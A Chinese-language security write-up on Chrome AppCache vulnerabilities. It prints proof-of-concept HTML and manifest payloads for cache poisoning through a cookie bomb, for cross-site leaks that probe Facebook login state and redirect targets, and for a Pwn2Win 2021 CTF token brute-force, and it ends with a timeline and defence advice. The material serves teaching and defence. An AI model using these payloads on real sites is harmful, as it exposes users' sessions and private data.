Chrome的AppCache漏洞小结
字数 2133 2025-08-05 08:18:57
Chrome AppCache 漏洞分析与防御指南
1. AppCache 技术概述
AppCache(Application Cache)是HTML5提供的一种应用缓存机制,允许开发者通过manifest文件指定需要缓存的资源,使网页在离线状态下仍可访问。主要特点包括:
- 通过manifest文件声明缓存策略
- 提高访问速度并减轻服务器压力
- 已被Service Worker等新技术逐渐取代
2. AppCache 主要安全漏洞
2.1 AppCache Poisoning (缓存投毒)
漏洞原理:
AppCache的FALLBACK字段没有限制源URI的作用域,攻击者可以利用此特性劫持其他页面的回退行为。
利用条件:
- 存在文件上传点或可控内容注入点(可上传html和manifest文件)
- 能够触发目标页面返回500等错误状态
攻击示例:
<!-- attack.html -->
<html manifest="manifest.txt">
<script>
for(var i = 1e2; ;i--)
document.cookie = i + '=' + Array(4e3).join(0) + '; path=/';
</script>
</html>
<!-- manifest.txt -->
CACHE MANIFEST
FALLBACK:
/ /1337/a/b/c/poison.html
攻击流程:
- 用户访问攻击者控制的attack.html
- 通过Cookie Bomb使服务器返回500错误
- 当用户访问根路径/时,由于500错误触发FALLBACK机制
- 浏览器返回攻击者指定的poison.html内容
实际应用场景:
- 托管用户文件的网站(AWS S3、Dropbox等)
- 存在HTML注入漏洞的网站
2.2 XSLeaks (跨站泄漏)
2.2.1 探测URL跳转
漏洞原理:
利用AppCache对不同响应状态的行为差异作为oracle,探测跨域URL的跳转行为。
攻击示例:
<!-- attack.html -->
<html manifest="manifest.appcache">
<script>
applicationCache.onerror = () => console.log("Redirect detected");
applicationCache.oncached = () => console.log("No redirect");
</script>
</html>
<!-- manifest.appcache -->
CACHE MANIFEST
https://www.facebook.com/settings
利用场景:
- 探测用户登录状态(如Facebook)
- 探测敏感URL的可访问性
2.2.2 泄漏跳转URL内容
进阶利用:
结合NETWORK字段的白名单机制,可以更精确地探测跳转后的URL内容。
攻击示例:
<!-- attack.html -->
<html manifest="cache.manifest">
<script>
applicationCache.oncached = () => {
fetch("https://www.facebook.com/me", {
mode: "no-cors",
credentials: "include"
}).then(() => {
console.log("User profile is /victim");
}).catch(() => {
console.log("User profile is not /victim");
});
}
</script>
</html>
<!-- cache.manifest -->
CACHE MANIFEST
NETWORK:
https://www.facebook.com/me
https://www.facebook.com/victim
优化技术:
- URL Patterns(非标准特性):
NETWORK:
https://www.facebook.com/vi*tim isPattern
- Prefix Match:
NETWORK:
https://facebook.com/me
https://facebook.com/v
相关CVE:
- CVE-2020-6399
- CVE-2021-21168
利用场景扩展:
- 泄漏包含session token的跳转URL
- 泄漏包含CSRF token的跳转URL
- 探测用户敏感信息(如用户名)
3. 实战案例:Pwn2Win 2021 MessageKeeper
题目背景:
- 存在JSONP接口的HTML注入漏洞
- 严格的CSP策略(default-src none)
- 需要获取admin token才能获取flag
利用技术:
结合AppCache FALLBACK机制和Chrome对401请求的重试行为,构造时间差侧信道攻击。
攻击步骤:
- 构造恶意manifest文件:
CACHE MANIFEST
/?cached
FALLBACK:
/user?token=a /static/background.png
ORIGIN-TRIAL:
${trial_token}
- 关键点分析:
- 限制FALLBACK作用域到/?cached页面
- 利用/logout使/user接口返回401
- Chrome会对401请求进行重试,产生可观测的时间差
- 通过prefix match逐字节爆破admin token
技术细节:
- FALLBACK不会缓存触发回退的URI响应
- Chrome对401请求的重试行为产生时间差
- /static/background.png设置了长期缓存(Cache-Control: public, max-age=14400)
4. AppCache 生命周期与弃用时间线
| Chrome版本 | 时间 | 变更内容 |
|---|---|---|
| 50 | 2016/04 | 非安全环境下"废弃" |
| 70 | 2018/10 | 非安全环境下"移除" |
| 79 | 2019/12 | 安全环境下"废弃" |
| 80 | 2020/02 | 限制AppCache作用域 |
| 84 | 2020/07 | 开启"reverse origin trial" |
| 85 | 2020/08 | 安全环境下移除,但可通过"reverse origin trial"开启 |
| 93 | 2021/10 | 完全移除 |
5. 防御建议
-
禁用AppCache:
- 确保使用最新版Chrome(≥93)
- 在服务器端禁用manifest文件的解析
-
内容安全策略:
- 实施严格的CSP策略
- 限制跨域资源加载
-
输入验证:
- 对用户上传内容进行严格过滤
- 防止HTML/Manifest文件注入
-
会话管理:
- 使用HttpOnly和Secure标志的Cookie
- 实施合理的会话超时机制
-
错误处理:
- 避免敏感信息通过错误页面泄漏
- 对错误状态返回统一处理页面
6. 参考资源
- Exploiting the Unexploitable with Lesser Known Browser Tricks - AppSec EU 2017
- Attacking Modern Web Technologies - AppSec EU 2018
- AppCache Forgotten Tales - @lbherrera, 2021/5/31